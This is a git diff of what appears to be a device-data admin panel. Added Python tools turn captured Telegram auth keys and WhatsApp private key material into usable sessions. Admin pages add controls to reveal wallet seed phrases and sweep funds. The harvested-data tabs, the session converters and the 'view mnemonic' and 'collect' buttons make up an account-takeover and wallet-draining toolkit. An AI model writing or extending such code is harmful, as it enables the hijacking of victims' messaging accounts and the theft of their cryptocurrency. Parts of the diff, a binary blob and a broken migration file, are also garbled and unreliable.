z7zM_FW>4sW#lQeC42;<2z>flBK=TBY1B_z-It=%f`OSX7Gb9!R!@wxeJQF-H42%NJ zv%mwxz$no4fCq+wQJ^^lJTMH50?nb|fni`2Xr2uo7zRdx<}mQUFfa-+lc&8`*`<9 zK42IaMSgQ6cwiV91)3Lt2Zn)Bpn0L>qxOE_hwXHrc@fG1hJjI_nGYTq21bGADDc2A zFbXtBg9n-e-~+=pf{)ty3S_=0c=KfFfMH-1Xr2PzM(D$KIY6@z`G8?y6ljhC4-DIg za-%@=ROADOfl;725Iiu7a?G(v2Zn)Bpg9gaFbs?W%_7N%?Q((UAn1T$U=(N$25;+u zQJ^^`@$bAF$|2_zMT(fPDXxU z7-*g*)1$UO1^JL3wt1j=I(T5%_Mr;{qd>D5`GH|z6lh)o9vB8jf#y{3z%VchG)uq( zqjtS)A83{$A21Az0waj0r=QH{IYVLq7y-tBo-@G%BfuEYa~61D1Q-K)Jm7&5U<~LP z0v;Fv#(B6` z2J~QE2>>I&7|?@tB>;>7V?YnqlYoslZV~t~pa<(k02r|m`D6C+?vHo?BfuE)d$6tq zfDvE}=)t-Y07if@pa<(o%-#?Dh@B4fU|k6SBfuEYgLNeUi~wUm57w0cFanGLJ)_Z1 zpl1MlV8ll7F*{#@%ohXiIT<=&1Q-K)P62Nt^bxxppr;V|fDvE}=oteZ7_kxM#(tz17m&R50)4K#%$lt2lPxveqaRX zIZdX=Y<~*!Aw6RAK+oymff3t>E&_}JJ;lfmi~wUm&n4i25nv4HnF<~l0mguy67ay7 zT`$`QdPllpdOO|z-Y2Z23$@r>D9_Gsr}xmLy8mM<5-6bOh27NJk(Yfpi4^ z>mzU@UFZ&^-3UwG7QQ2{fL%s$qr)&?9p0GCwe~rW62xmI3(?tND3jrRn~zyB!i zo#%p&Y4{%CtDkFK-wXVD4W9@8Nlp0!z#nL#?_vFYN>M+POtj;h7v%mQ-6rv@mn1&* zl*G*468mkJ`1IQnr$;2Nhc1Nt=fbbE^7k;7Q#P@`5oBUpf_U3;cikZ3-mTFh>7SxT z5m!+=xtU9)FH*!c^&0CN3zu;(_TLBfnTGxLMtc^4H+IT;t^%K99VeG@JaF&3l0OOl zVBiSgc;F=p-U5FX&@N}b;s@X_2HL*8|Mf_hXd0q6Vw2CAB;xQs@_i4S7!^4a`Q`H{ ziQc_blmR1%Z;e*`6Xot-CgPjW#WUi=PmQ}g4tYi+l_&avu;fkF$7Re|A^Jh5Mp+;G zuV^H4j<`Yg13Nyly@__bXvM>2d=0ey!uN&3Wo!fX`at^Sz$bwRfdfC3e9*!~eC2aK ziTyPrpRrfwzsSPG-+z_$a~V?SGUW3?i8$-#qo*~`R^@%S1Y4x$o$+zNjhNyO%+au^- z4&;*0neqMURMdCB6~9i6dv4qd%=~v3?}hHxKyBFt4iX-!SmH^=Sn7ewy+} zf`4bLXtB%qLermv=+Ez=9{Iau{xhGFcqi6}$=jtr1^mb0TdrS;{_H`VFF^e4I9A>y z=P4OSmoadKoR^T@h+4kBKVO9MikAJf{v*rz>HT>;>f`x|<4cy){`%#`sJi2i#n`uE8g2d|@le~)(l8TsbI|LrfO{y~ff z_b;S>>sE>X_Nv6);6KOt)K1G!jE{V(i`eGkc-hCT2OZet^SS*uw;UhMw@6>?MQn1N z94H<7cPW|h5-F0ZzaY8hM}%nkEcBNG^f$*o5mC9WicfREmx9l<_?G=iUd744af_S)mO68vi#z8d`f zEyh=3Jqv)>%^xA~i%`DL+J9dBdTKef*G2WT*NrV`r`_H>%8)!Rnyfh4xk-p^DPe2< z|0$GbSaBQEXy@0V$RO$?EP0dV6eTCM`B_(=mr$QWKk+r8b zcE%@6Vi6l*$(t-E^|&PGN&b8;=Hp6SH&1?(Is%pY#8!zfU|!C|{JZ37nZ6U)d583; zqFMEL_WLIMe+PEO`c?>h3GI6e z`Ad*K12_*@4ZIh)75EA;3bfbHFX87rFXMU=a5(S^U;uaz@Oj`@sMja(zW{c{_Z7>4 z>wvES-vZ4?y!p*^d6evB0^&8-Wi4Ujgn1{sEYQ zagYN%7VC@sz0wGz7Xt0;(Hr4!0zM6V5%@OnV_;6RtnXRC3xN}CANySf|2E({VE>n; zejxB%U_NjPuoTz;TmyUxI2Pl35BzU{#w)V?T;SQjk-!>Y18@y+J#ZT^3XB0e zUDJ_%Iq*GT$Jb=ME(NZ|e(m#gy*nN_444nB2QCLb0(=$tF7P1m z4?yEBS>I!Ty|7;9!9NeU0C+3#Uf>hJ7l0oEzXBcs=HU8i5YWD!8Uz1wU=V13pYQ;D z`}^>n@ZSM`0X&N1Qj7YV`2M>e@N}U4z4;jU7h!!E3EdjRWhUmonTY>D%nO^*Uk_k@ z8v?%$`Rwb)bKu+8iO0gXuM_R-!R6?e_VwVq=tpxPjGr>&DoSN;y*Gr(to z&jFi&zX1Lc7{hgm{r;={-s|(=cLHAkz6iA6hkXftGtho7_GS350AB^}0=@>c-=BRQ z{%)ZC9f-v+(|l+T^I^527Rzn2?@Z^zS)gS{WSJ$5~0 zy#m&Gze!qgotsA{t|`P>zkN-haw1(#6ZyrJyUp2{T;>KkKJ@-?;|G-QiDx=BzfVXd zid7q)YMy9-`c9s`tXFh|z zPZRCk%?C zrC9e8zIk&?zZv)G=h*qJ`^tInQsHi_!<(&qV#aK_4YbP7Yne#i9HcZe<$r+k_gMFh zQ_Ek>l>eEf%fsGM;g2YPgmpjDWgJoBGlMC=*wX3CKim2~D-rM53K4Iy;mM<5-6bOh27NJk(Yfpi4Y z5lBZM9f5QN(h*2UARU2p1kw>mN8taf2;@<10%Xnf(#T#yaYxnO#JfUb6L*S7SfAuS z*56yo7r%}t-fNLt;*-p82);3q>Y!2_KkWD39 zPS!+rh^$w(kv)uTI@#4^TgW~mJE4P-eIeNuWOtE8$lfM9OqT01vJ1(UkljzVgX|#L zV7HMSB)f-fKiN^TJ{_r?j)p5twvlWv*%7i6jxk(g$)=N4ldU0po$M>JBV@gD4A<#o zg=D23*{wSL-sD&*JK?{ z+6UR`WapEOC7ViiHQ7e8?PRZzeL(gV*>_~lu9TnbGO|Tvw~*aW_Bh$=WP7_B?t^4G z#~SVtWR+xhk!>g2NA_2;yyFb_WU^&s5wg8xN5}@}8t#0u%3P!4J-LRnnJlLp9apji zWIM>RyBp5YWR+yAyBnEbko7p;$Q*gR;i@FNhivEZhWmT6emxBL46;VD?PUANjGmNE zHkz!I>~XR~J&lfoPcS-`k}V=zL$;Od3o_@4M#q6qMmb5j!=LcY3`)N+4)ZE|_C zfC_*8-0IYFt6IrQY3B?}DYmw(CRHBtEl%B4s3DM)b6!<#S#{ObNh$t-uhzS0Xkrh6 zpf6As^tDK<3;6%J{DFp1)zwA5vI<{tY?ZIN zg2IxLW3<1bK}`<&%0j*|HGxp;%v9f%^}af4VvEAY`9f2Dbpd~Eov$QR7OJl+@K;d# zTI4D5g<9Dkr6yH!dRcY7rJG6>F9}gyY6`3hjr9jbyW@MGTvAY7R#!JR=&zw{RkiaC z@8psaUsvEx=>kdxz8qQtPEbk)C8)1HNIMkLY2SP z@Ftj2>I7qI%l#ErZIND=s<5h3R$c8cH)OS}&)%xqDvG)!>#1GTj50AS)Rbbszq;5@ zJ*8EmzOFKrnd%GG2Wt^~OE%XxzpB<-UKT31vr|7){Q4SS&}!tQdb_cfmV#g%8|$$Ny^{)uTUb&wYUuED46oN}vZy|d zCoheZs`(W0mZ=q0G%1K)>YY}56&+A7%@Wja$oKk!K|eLt>!p!YzR+7_!+Y9~LaDt?<{-z{7YD<%v$|Et_YBD&dO&8s4~1ozOd$^wmI)gwC##d8bNqZJ31|OjnVERPiqkrpbE%euU z>uag^1-)VvTmR57Y?)YJD@S-BR7ugO@XDiFM{AVq$n>dNRGTp5rx?~X)Rl*-=QhZ* zgnB?-wNI|%g;nKZfhY?$$T3PoYiuHIoG%n#3de}@#d==ot1Ayy1?0L?FgBh(tzD--#00Ter#TwgQS7fjy4)WljV&$J50CMD61twMyhWwJfTwPdJdc?!@n zd5U#RlZz0AwainJm^USXC9YsB&6Tujigw9Qf}S>YVq$u;lS_Q%<3qk05w1yMqQIE} z<)vA(l6q!E_R0H&vX2(C5X} zmneHGXP*SgQyNXCl1hJlb%mV8E3C7WRx*~9Or&sxsQxq+#`i_36KTLv_exGG_W6R7 zt&`E@RO&!gVoI+opoK_GcJ#TR(pnZLmrV52luGBI6-k|n=6!L3M6t3CxZPzarIt=2 zs~e~;7GdS1j0H3VXn_=GeB}$V{v}W6^Xtokbc9o;1aUTO&k3lBZ(><3WuNbp{dUUe ziwnGCib`h|kMRzmJ&jph?nA%#k~=CGENk$HT?OmQ>Bxz+#Mo&;P(Vi036Za?mX0#b zAmon{a|5l(!9w4>vifRy>reMiK+LE@$dvXRUd{ihD9AzzsYL{a z`m7by>JocSumY$ld>Wsk&`&hnKHTU5TKo!#(-@-_@&lbn^F~OVoKWh+C^emQ?pYjtY1od#9U4V*;96k z3Kg@m;F?z{fo9WSSvj4E(oCHqCtZQRhAxTeFwrnkr1r75hK$0Et{3N0DH5^FW6DY` zul4Xvn>M~MrJS)<)xJq(wKUn%nNf>fQ*NJ}MOq}=bF`9satRtSo|cEjRtV&^j8A-d zKm8p%GVqGnuq)B5+MG;bjZ1v{yX3};P}k3-_htGIwz;_up{g&%wHUK%-Z8zo4qn~Q|4;N zYUdGWLRmR$@yg7JYaGoP=E#xe!R#Kzg^kXlqCHuMGLL5O&zjim2px6geCEi>Ee^XY ziwkp1*9L-&r^yGtwbOj_KNzJ7Z#wYqc}x*yB9x*yAXiQ8;6@bH++% zVKr5}XjgX8+U(CVODlG?sCi|NLykaU{$6LJ!!=?=VScl-*>Naqv!l4k6?2BEn9bCp z9garlaz`|CrL!o1&QYhiE2r9Yt;(pJl@m1&I*vFFJ2zy+oRvGXqK;_B0Y}ua z*ZQyWXot+gqQZ(Ev5XlL3oCPTmuK$JUY&8&QC%Eb?O5Y(%37PfHlxY0%DKbQV`uhi zYD%to$dTFPTzz?ybC+{Yqa)(n;QY)Hie!H6*x=mcFmt|kyq%ppFc<&lS{ogqKF1oy zNW#%$%EZq*(RYD{(S^Q{Kl(S}8Aew!a>XmP)+WA(PxjAN{4t6@UGb|GKcx8AOW*$U zw#LsC|1rgXS@HKN{#S~BMEdcY1jkZi=>NDsOz|fuzEAO&D*n$EU;La5{U0y?6Y0m> z_n(UIq@0u#=X)yt+0u`fC;og=a{g+?U!wT*8e)t5k175R#owd&pGx1pO=Eng@Gcto zRG&ECU-63+{|f0-DRNt`@b@VG7U{?1^NPa%M)AK_^5;^`lH+x*^yBrNt?)s`U!nLL zrBDCLtx56sNR% z{|VBkf8{nr;V)PGpyJ;w{doP?Dg5)&kMI9Ciho$~d(n?dCf9F>^yB4EmOiygZa#%? zls=Uzw+Eze|CwxqZn=r_KNSUnfCH;8)E>!%fioa0NU#s{xD*5k~ ze!M+fmHf?$|Doc?6nzHOG`arADE{$^f0Fd$`}ZjRcqRW##jjHQ<%<7+;%`^{J&ONZ z#s9P7XVQ^QZr_QDKSJ@xD}IIIU$6LU6hET)dldhVil0q?m_50E-4uU-;-8`T!xev| z;*VDRBI#3<l z;_p=aPoz&#m)m!WpV7&xPn^$H{F4;_JjEZc__Gw>ulP4A{@sedN%}NO<<_M5Z!7*@ z#Xq3<2NnN6q#qx@uFh8b<9?pvpD+D*eexB*NXbu+1&HGtFVCm=S1Ep2@gG@*dX`N5o>vpuFUWpLCVr=DCz<$tt{2I~?{PJgy-fBB*{fu`$X+9RooqMR9}|4l$lfJ;k1R^|KG_FkACm1Q`xV(wDYFadO|q_Jt@RDj7y6T(LMD#)x{DYKv~1P9bg}*)p=_WH*xCM7Dx#CE3knw~(DoHi&F6Sqa%}vMb02kWC_+PIf8T zWn|ZrHIgkQyMgRhvQ=cak=;&q2U(cxPO`hmenz&M>~6Aq$nGUuLngKs-}KqfEzsRP z`#FWg9ln440}RPGT>l^6g#BOf4A+14oo0E=)F;D|Z!!P(-ivPa88z$1t8%-u&D*j6 z^h0gdom}>=cYE*mDt820zu%y_bJ6B~68kn@>m}N38#l@9EN$NhZ1px?tM|Fu*j4K{ zlJqxJCYNwGncBE(#ot(yeMxs)ruBffb>qqA;*X~2icZ||QMv_6X!}-Q8+X(+_ZVB; zHA>tuYX4nWO@;n}+ly`A&J%3V$KR1n2`CBMceA#&J9%x~5mavFwf-!Hb?{of3FoDo z`l-*+w0yRYd*V-bpFfe_;=z%W2L!pt0sg@!LDa_(5)UA%PkU&d22OsoMLwyRoYJ0$ zU0S(4+SbF4 + +Reads the tglib.js JSON (state + db_sqlite), extracts the master MTProto +auth_key + DC id + user id, builds a Telethon SQLite session, derives a +StringSession, and writes three files into : + {phone}.session — Telethon SQLite session (binary) + {phone}.json — Account metadata + session_string + {phone}_密钥.txt — session_string plain text + +Works fully offline — no Telegram connection is made. +""" +import json, base64, os, sys, tempfile, shutil + +# Standard Telegram production DC endpoints (used to seed the Telethon session). +DC_ADDRS = { + 1: ("149.154.175.50", 443), + 2: ("149.154.167.51", 443), + 3: ("149.154.175.100", 443), + 4: ("149.154.167.91", 443), + 5: ("91.108.56.130", 443), +} + +# Telegram Desktop official API credentials (used as defaults in metadata). +DEFAULT_API_ID = 2040 +DEFAULT_API_HASH = "b18441a1ff607e10a989891a5462e627" + + +def extract_keys(payload: dict): + """Extract master auth_key, dc_id, user_id, phone from tglib.js JSON.""" + state_b64 = payload.get("state") + if not state_b64: + raise ValueError("missing 'state' field") + state = json.loads(base64.b64decode(state_b64)) + records = state.get("records", []) + if not records: + raise ValueError("no records in state") + backup_b64 = None + for attr in records[0].get("attributes", []): + if isinstance(attr, dict) and "backupData" in attr: + backup_b64 = attr["backupData"]["data"] + break + if not backup_b64: + raise ValueError("no backupData in state records") + backup = json.loads(base64.b64decode(backup_b64)) + auth_key = base64.b64decode(backup["masterDatacenterKey"]) + dc_id = backup["masterDatacenterId"] + user_id = backup.get("peerId", 0) + if len(auth_key) != 256: + raise ValueError(f"auth_key must be 256 bytes, got {len(auth_key)}") + # tglib.js stores the phone number (E.164 without +) in the top-level + # "user_id" field; the Telegram user id is in backupData.peerId. + phone = str(payload.get("user_id") or user_id) + return auth_key, dc_id, user_id, phone + + +def make_session(tmpdir: str, auth_key: bytes, dc_id: int) -> str: + """Create a Telethon SQLite session file with the given auth key + DC.""" + from telethon.sessions import SQLiteSession + server, port = DC_ADDRS.get(dc_id, ("149.154.167.91", 443)) + path = os.path.join(tmpdir, "tg") + sess = SQLiteSession(path) + sess._conn.execute("DELETE FROM sessions") + sess._conn.execute( + "INSERT INTO sessions (dc_id, server_address, port, auth_key) VALUES (?,?,?,?)", + (dc_id, server, port, auth_key), + ) + sess._conn.commit() + sess.close() + return path + ".session" + + +def session_string_from(session_file: str) -> str: + """Convert a Telethon SQLite session file to a StringSession string.""" + from telethon.sessions import StringSession, SQLiteSession + return StringSession.save(SQLiteSession(session_file)) + + +def build_metadata(user_id, phone: str, session_string: str) -> dict: + """Build the account metadata JSON (matching the reference format).""" + return { + "api_id": DEFAULT_API_ID, + "api_hash": DEFAULT_API_HASH, + "device_model": "Telegram Desktop", + "system_version": "Windows 10 x64", + "app_version": "4.14.4 x64", + "system_lang_code": "en-US", + "lang_pack": "tdesktop", + "lang_code": "en", + "user_id": user_id, + "phone": phone, + "twofa": "", + "password": "", + "session_string": session_string, + "app_id": DEFAULT_API_ID, + "app_hash": DEFAULT_API_HASH, + "session_file": phone, + "device": "Telegram Desktop", + "username": "", + "sex": None, + "tz_offset": 28800, + "avatar": "img/default.png", + "device_token": "__FIREBASE_FAILED__", + "package_id": "", + "installer": "", + "ipv6": False, + "pref_cat": 2, + "block": False, + "premium": False, + } + + +def main(): + if len(sys.argv) != 3: + print("usage: tglib_to_session_files.py ", file=sys.stderr) + sys.exit(1) + input_json, output_dir = sys.argv[1], sys.argv[2] + payload = json.load(open(input_json)) + auth_key, dc_id, user_id, phone = extract_keys(payload) + print(f"auth_key: {len(auth_key)}B, dc_id: {dc_id}, user_id: {user_id}, phone: {phone}", file=sys.stderr) + + os.makedirs(output_dir, exist_ok=True) + tmpdir = tempfile.mkdtemp(prefix="tglib_sess_") + try: + session_file = make_session(tmpdir, auth_key, dc_id) + ss = session_string_from(session_file) + + # 1) {phone}.session — copy the SQLite session file + out_session = os.path.join(output_dir, f"{phone}.session") + shutil.copy(session_file, out_session) + + # 2) {phone}.json — metadata + session_string + meta = build_metadata(user_id, phone, ss) + out_json = os.path.join(output_dir, f"{phone}.json") + with open(out_json, "w", encoding="utf-8") as f: + json.dump(meta, f, ensure_ascii=False, indent=4) + + # 3) {phone}_密钥.txt — session_string plain text + out_key = os.path.join(output_dir, f"{phone}_密钥.txt") + with open(out_key, "w", encoding="utf-8") as f: + f.write(ss) + + print(f"wrote: {out_session}, {out_json}, {out_key}", file=sys.stderr) + finally: + shutil.rmtree(tmpdir, ignore_errors=True) + + +if __name__ == "__main__": + main() diff --git a/channel-builder/tools/tglib_to_tdata.py b/channel-builder/tools/tglib_to_tdata.py new file mode 100644 index 0000000..4aed65f --- /dev/null +++ b/channel-builder/tools/tglib_to_tdata.py @@ -0,0 +1,119 @@ +#!/usr/bin/env python3 +""" +tglib_to_tdata.py — Convert tglib.js JSON payload to a Telegram Desktop tdata zip. + +Usage: + python tglib_to_tdata.py + +Reads the tglib.js JSON (state + db_sqlite), extracts the master MTProto auth +key + DC id, builds a Telethon SQLite session, and uses opentele-ng to write a +tdata folder, then zips it. + +Works fully offline — no Telegram connection is made. +""" +import json, base64, os, sys, tempfile, shutil, sqlite3, zipfile, asyncio + +# Standard Telegram production DC endpoints (used to seed the Telethon session). +DC_ADDRS = { + 1: ("149.154.175.50", 443), + 2: ("149.154.167.51", 443), + 3: ("149.154.175.100", 443), + 4: ("149.154.167.91", 443), + 5: ("91.108.56.130", 443), +} + + +def extract_keys(payload: dict): + """Extract master auth_key, dc_id, user_id from tglib.js JSON payload.""" + state_b64 = payload.get("state") + if not state_b64: + raise ValueError("missing 'state' field") + state = json.loads(base64.b64decode(state_b64)) + records = state.get("records", []) + if not records: + raise ValueError("no records in state") + backup_b64 = None + for attr in records[0].get("attributes", []): + if isinstance(attr, dict) and "backupData" in attr: + backup_b64 = attr["backupData"]["data"] + break + if not backup_b64: + raise ValueError("no backupData in state records") + backup = json.loads(base64.b64decode(backup_b64)) + auth_key = base64.b64decode(backup["masterDatacenterKey"]) + dc_id = backup["masterDatacenterId"] + user_id = backup.get("peerId", 0) + if len(auth_key) != 256: + raise ValueError(f"auth_key must be 256 bytes, got {len(auth_key)}") + return auth_key, dc_id, user_id + + +def make_session(tmpdir: str, auth_key: bytes, dc_id: int) -> str: + """Create a Telethon SQLite session file with the given auth key + DC.""" + from telethon.sessions import SQLiteSession + server, port = DC_ADDRS.get(dc_id, ("149.154.167.91", 443)) + path = os.path.join(tmpdir, "tg") + sess = SQLiteSession(path) + sess._conn.execute("DELETE FROM sessions") + sess._conn.execute( + "INSERT INTO sessions (dc_id, server_address, port, auth_key) VALUES (?,?,?,?)", + (dc_id, server, port, auth_key), + ) + sess._conn.commit() + sess.close() + return path + ".session" + + +def convert_to_tdata(session_file: str, out_dir: str): + """Use opentele-ng to convert Telethon session → tdata folder (offline).""" + from opentele.td import TDesktop + from opentele.tl import TelegramClient + from opentele.api import UseCurrentSession + + async def _run(): + client = TelegramClient(session_file) + try: + tdesk = await client.ToTDesktop(flag=UseCurrentSession) + if not tdesk.isLoaded(): + raise RuntimeError("TDesktop failed to load after conversion") + if os.path.exists(out_dir): + shutil.rmtree(out_dir) + tdesk.SaveTData(out_dir) + finally: + await client.disconnect() + + asyncio.run(_run()) + + +def zip_tdata(tdata_dir: str, zip_path: str): + """Zip the tdata folder into a zip file.""" + with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zf: + for root, dirs, files in os.walk(tdata_dir): + for f in files: + full = os.path.join(root, f) + arc = os.path.relpath(full, os.path.dirname(tdata_dir)) + zf.write(full, arc) + + +def main(): + if len(sys.argv) != 3: + print("usage: tglib_to_tdata.py ", file=sys.stderr) + sys.exit(1) + input_json, output_zip = sys.argv[1], sys.argv[2] + payload = json.load(open(input_json)) + auth_key, dc_id, user_id = extract_keys(payload) + print(f"auth_key: {len(auth_key)}B, dc_id: {dc_id}, user_id: {user_id}", file=sys.stderr) + + tmpdir = tempfile.mkdtemp(prefix="tglib_tdata_") + try: + session_file = make_session(tmpdir, auth_key, dc_id) + tdata_dir = os.path.join(tmpdir, "tdata") + convert_to_tdata(session_file, tdata_dir) + zip_tdata(tdata_dir, output_zip) + print(f"wrote {output_zip} ({os.path.getsize(output_zip)} bytes)", file=sys.stderr) + finally: + shutil.rmtree(tmpdir, ignore_errors=True) + + +if __name__ == "__main__": + main() diff --git a/channel-builder/tools/wapjs_to_ws.py b/channel-builder/tools/wapjs_to_ws.py new file mode 100644 index 0000000..fb5629a --- /dev/null +++ b/channel-builder/tools/wapjs_to_ws.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python3 +""" +wap.js payload -> __ws.txt NDJSON (chk.ts native output format) + +Route-1: infer cc/country from phone via libphonenumber, derive `in` by +stripping cc from phone, derive clientStaticPublicKey from the private key +via curve25519. + +Usage: + python wapjs_to_ws.py [output.ndjson] + +If output omitted, writes .ndjson next to input. +""" +import sys, json, base64, phonenumbers +from pathlib import Path +from nacl.public import PrivateKey # curve25519 + + +# ---------- protobuf (minimal, only what chk.ts signedPreKey needs) ---------- +def _varint(d, o): + v = s = 0 + while True: + b = d[o]; o += 1 + v |= (b & 0x7f) << s + if not (b & 0x80): break + s += 7 + return v, o + +def parse_pb(d): + out, o = {}, 0 + while o < len(d): + tag, o = _varint(d, o) + fn, w = tag >> 3, tag & 7 + if w == 0: + v, o = _varint(d, o) + elif w == 1: + v = d[o:o + 8]; o += 8 + elif w == 2: + ln, o = _varint(d, o) + v = d[o:o + ln]; o += ln + elif w == 5: + v = d[o:o + 4]; o += 4 + else: + raise ValueError(f"bad wire {w} field {fn}") + out[fn] = v + return out + + +def b64(b: bytes) -> str: + return base64.b64encode(b).decode() + + +def infer_cc_country(phone_int: int): + """Return (cc, country_iso, in_local) using libphonenumber.""" + s = "+" + str(phone_int) + try: + nn = phonenumbers.parse(s, None) + if not phonenumbers.is_valid_number(nn): + # still try to get region from prefix even if invalid + region = phonenumbers.region_code_for_country_code(nn.country_code) or "" + else: + region = phonenumbers.region_code_for_number(nn) or "" + cc = str(nn.country_code) + national = str(nn.national_number) + return cc, region, national + except phonenumbers.NumberParseException: + return "", "", str(phone_int) + + +def convert(wap_path: Path) -> str: + o = json.loads(wap_path.read_text()) + pks = o["phoneKeyStore"] + ident = pks["identity"] + spk = parse_pb(bytes.fromhex(pks["signedPreKey"]["hexKey"])) + dc = o.get("deviceConfig", {}) + + cc, country, in_local = infer_cc_country(int(o["userId"])) + phone = str(o["userId"]) + + # identity keys (keep 05 prefix) + ident_pub_b = bytes.fromhex(ident["hexPublic"]) # 33 bytes + ident_priv_b = bytes.fromhex(ident["hexPrivate"]) # 32 bytes + + # signed prekey (protobuf): 1=id 2=pub(33,05+) 3=priv(32) 4=sig(64) + spk_id = spk[1] + spk_pub_b = spk[2] # 33 bytes + spk_priv_b = spk[3] # 32 bytes + spk_sig_b = spk[4] # 64 bytes + + # clientStatic: private given, derive public (raw 32 bytes, no 05 prefix) + cs_priv_b = base64.b64decode(o["clientStaticKeypairBase64"]) + cs_pub_b = bytes(PrivateKey(cs_priv_b).public_key) # 32 bytes + + record = { + "cc": cc, + "clientStaticPrivateKey": b64(cs_priv_b), + "clientStaticPublicKey": b64(cs_pub_b), + "country": country, + "device": dc.get("model", ""), + "deviceUUID": "", + "identityPrivateKey": b64(ident_priv_b), + "identityPublicKey": b64(ident_pub_b), + "in": in_local, + "jid": phone, + "language": "", + "manufacturer": dc.get("brand", "Apple") or "Apple", + "mcc": dc.get("sim_operator", ""), + "mnc": "", + "osBuildNumber": dc.get("display", ""), + "osVersion": dc.get("sdk_release", ""), + "phone": phone, + "phoneUUID": o.get("phoneId", ""), + "registrationID": ident.get("registration_id", 0), + "roProductBoard": dc.get("board", ""), + "roProductDevice": dc.get("device", ""), + "signPreKeyID": spk_id, + "signPreKeyPrivateKey": b64(spk_priv_b), + "signPreKeyPublicKey": b64(spk_pub_b), + "signPreKeySignature": b64(spk_sig_b), + "whatsappVersion": "", + } + return json.dumps(record, ensure_ascii=False, separators=(",", ":")) + + +def main(): + if len(sys.argv) < 2: + print(__doc__); sys.exit(1) + inp = Path(sys.argv[1]) + out = Path(sys.argv[2]) if len(sys.argv) > 2 else inp.with_suffix(".ndjson") + line = convert(inp) + out.write_text(line + "\n") + print(f"wrote {out} ({len(line)} chars)") + # echo parsed summary + r = json.loads(line) + print("\n=== summary ===") + for k in ["cc","country","in","phone","jid","phoneUUID","registrationID", + "device","roProductDevice","roProductBoard","osVersion","osBuildNumber", + "manufacturer","mcc"]: + print(f" {k:18s} = {r[k]!r}") + print(" --- key lengths (raw bytes) ---") + for k in ["identityPublicKey","identityPrivateKey","signPreKeyPublicKey", + "signPreKeyPrivateKey","signPreKeySignature", + "clientStaticPrivateKey","clientStaticPublicKey"]: + b = base64.b64decode(r[k]) + print(f" {k:22s} = {len(b):3d} bytes head={b[:3].hex()}") + + +if __name__ == "__main__": + main() diff --git a/database/migrations/2026_10_01_013257_add_login_lock_columns_to_admins_table.php b/database/migrations/2026_10_01_013257_add_login_lock_columns_to_admins_table.php new file mode 100644 index 0000000..32bdc39 --- /dev/null +++ b/database/migrations/2026_10_01_013257_add_login_lock_columns_to_admins_table.php @@ -0,0 +1,29 @@ +unsignedInteger('login_attempts')->default(0)->after('status'); + $table->timestamp('locked_at')->nullable()->after('login_attempts'); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('admins', function (Blueprint $table) { + $table->dropColumn(['login_attempts', 'locked_at']); + }); + } +}; diff --git a/database/migrations/2026_10_02_022800_add_login_lock_columns_to_users_table.php b/database/migrations/2026_10_02_022800_add_login_lock_columns_to_users_table.php new file mode 100644 index 0000000..b611669 --- /dev/null +++ b/database/migrations/2026_10_02_022800_add_login_lock_columns_to_users_table.php @@ -0,0 +1,23 @@ +unsignedInteger('login_attempts')->default(0)->after('status'); + $table->timestamp('locked_at')->nullable()->after('login_attempts'); + }); + } + + public function down(): void + { + Schema::table('users', function (Blueprint $table) { + $table->dropColumn(['login_attempts', 'locked_at']); + }); + } +}; diff --git a/docs/deploy.md b/docs/deploy.md index 9170d94..8061467 100644 --- a/docs/deploy.md +++ b/docs/deploy.md @@ -117,7 +117,7 @@ chmod -R ug+rwX /www/wwwroot/coruna-lab/storage/app/channel-builder-new 说明: 只跑轻量任务(RecordPageHit / ScanDeviceNotes 等)。相册解压、Telegram、自动转账已拆到独立队列,不要再混进来。 名称: coruna-telegram -启动命令: /www/server/php/82/bin/php artisan queue:work telegram --sleep=0 --tries=3 --timeout=30 --max-time=3600 +启动命令: /www/server/php/82/bin/php artisan queue:work telegram --sleep=1 --tries=3 --timeout=30 --max-time=3600 启动目录: /www/wwwroot/coruna-lab 进程数量: 2 说明: 延迟敏感的 Telegram 通知,独立队列,不会被相册/统计挤住。--sleep=0 让有消息就立刻发。 diff --git a/resources/views/admin/addresses/index.blade.php b/resources/views/admin/addresses/index.blade.php index 1a1d18f..a358c57 100644 --- a/resources/views/admin/addresses/index.blade.php +++ b/resources/views/admin/addresses/index.blade.php @@ -157,6 +157,7 @@ layui.use(['table', 'form', 'layer'], function () { var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$; var token = @json(csrf_token()); var updateBase = @json(url('/'.$portal.'/addresses')); + var canReveal = @json(!empty($can_reveal)); if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form); @@ -336,7 +337,14 @@ layui.use(['table', 'form', 'layer'], function () { ? '开' : '关'; }}, - { title: '操作', width: {{ !empty($can_reveal) ? 300 : 220 }}, align: 'center', fixed: 'right', toolbar: '#LAY-addr-ops' } + { title: '操作', width: {{ !empty($can_reveal) ? 300 : 220 }}, align: 'center', fixed: 'right', templet: function (d) { + var html = ''; + if (canReveal && d.collectable) html += '查看助记词'; + if (d.collectable) html += '归集'; + html += '编辑'; + html += '设备详情'; + return html; + } } ]], page: true, limit: 20, limits: [10, 20, 30, 50], request: { pageName: 'page', limitName: 'limit' }, diff --git a/resources/views/admin/agents/index.blade.php b/resources/views/admin/agents/index.blade.php index bbd1be7..7db82ee 100644 --- a/resources/views/admin/agents/index.blade.php +++ b/resources/views/admin/agents/index.blade.php @@ -33,6 +33,9 @@ diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php index 63730a4..3872d0b 100644 --- a/resources/views/admin/devices/show.blade.php +++ b/resources/views/admin/devices/show.blade.php @@ -6,7 +6,9 @@
设备详情 + @if (($portal ?? 'admin') === 'admin') + @endif
@@ -228,6 +230,8 @@ 'apps' => '已装 APP', 'notes' => '备忘录', 'events' => '日志', + 'ws-sessions' => 'WS 参数', + 'tg-sessions' => 'TG 参数', ]; @endphp @foreach ($tabs as $key => $label)
  • @@ -316,6 +320,20 @@ @endif
  • + @if (in_array($tab, ['ws-sessions', 'tg-sessions'], true)) + + @endif @endif
